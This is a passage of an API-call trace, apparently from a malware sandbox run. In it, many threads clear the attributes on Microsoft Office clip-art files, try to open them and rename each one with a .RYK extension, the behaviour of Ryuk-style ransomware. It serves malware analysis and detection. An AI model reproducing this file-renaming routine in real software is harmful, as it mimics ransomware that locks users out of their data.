	[0283.407] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3699
	os_tid = 0x3ea4

	[0282.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF", dwFileAttributes=0x80) returned 0
	[0283.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.405] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.406] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3700
	os_tid = 0x3ea8

	[0282.894] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF", dwFileAttributes=0x80) returned 0
	[0283.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.404] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.404] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3701
	os_tid = 0x3eac

	[0282.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF", dwFileAttributes=0x80) returned 0
	[0283.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.403] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.403] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3702
	os_tid = 0x3eb0

	[0282.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF", dwFileAttributes=0x80) returned 0
	[0283.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.401] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.401] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3703
	os_tid = 0x3eb4

	[0282.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF", dwFileAttributes=0x80) returned 0
	[0283.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.415] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.415] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3704
	os_tid = 0x3eb8

	[0282.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF", dwFileAttributes=0x80) returned 0
	[0283.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.413] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.413] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3705
	os_tid = 0x3ebc

	[0282.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF", dwFileAttributes=0x80) returned 0
	[0283.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.527] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.527] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3706
	os_tid = 0x3ec0

	[0282.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF", dwFileAttributes=0x80) returned 0
	[0283.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.605] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.605] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3707
	os_tid = 0x3ec4

	[0283.116] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF", dwFileAttributes=0x80) returned 0
	[0283.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.629] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.629] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3710
	os_tid = 0x3ed0

	[0283.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF", dwFileAttributes=0x80) returned 0
	[0283.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.628] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.628] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3711
	os_tid = 0x3ed4

	[0283.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF", dwFileAttributes=0x80) returned 0
	[0283.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.627] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.627] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3712
	os_tid = 0x3ed8

	[0283.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF", dwFileAttributes=0x80) returned 0
	[0283.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.120] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.120] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3713
	os_tid = 0x3edc

	[0283.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF", dwFileAttributes=0x80) returned 0
	[0283.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.626] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.626] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3714
	os_tid = 0x3ee0

	[0283.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF", dwFileAttributes=0x80) returned 0
	[0283.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.624] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.625] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3715
	os_tid = 0x3ee4

	[0283.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF", dwFileAttributes=0x80) returned 0
	[0283.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.623] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.623] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3716
	os_tid = 0x3ee8

	[0283.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF", dwFileAttributes=0x80) returned 0
	[0283.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.125] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.125] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3717
	os_tid = 0x3eec

	[0283.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF", dwFileAttributes=0x80) returned 0
	[0283.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.622] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.622] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3718
	os_tid = 0x3ef0

	[0283.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF", dwFileAttributes=0x80) returned 0
	[0283.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.621] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.621] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3719
	os_tid = 0x3ef4

	[0283.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF", dwFileAttributes=0x80) returned 0
	[0283.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.620] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.620] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3720
	os_tid = 0x3ef8

	[0283.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF", dwFileAttributes=0x80) returned 0
	[0283.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.618] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.619] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3721
	os_tid = 0x3efc

	[0283.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF", dwFileAttributes=0x80) returned 0
	[0283.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.840] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.840] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3727
	os_tid = 0x3f18

	[0283.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF", dwFileAttributes=0x80) returned 0
	[0283.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.997] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.998] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3728
	os_tid = 0x3f1c

	[0283.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF", dwFileAttributes=0x80) returned 0
	[0283.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.615] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.616] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3729
	os_tid = 0x3f20

	[0283.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF", dwFileAttributes=0x80) returned 0
	[0283.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.614] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.614] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3730
	os_tid = 0x3f24

	[0283.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF", dwFileAttributes=0x80) returned 0
	[0283.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.999] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.999] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3731
	os_tid = 0x3f28

	[0283.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF", dwFileAttributes=0x80) returned 0
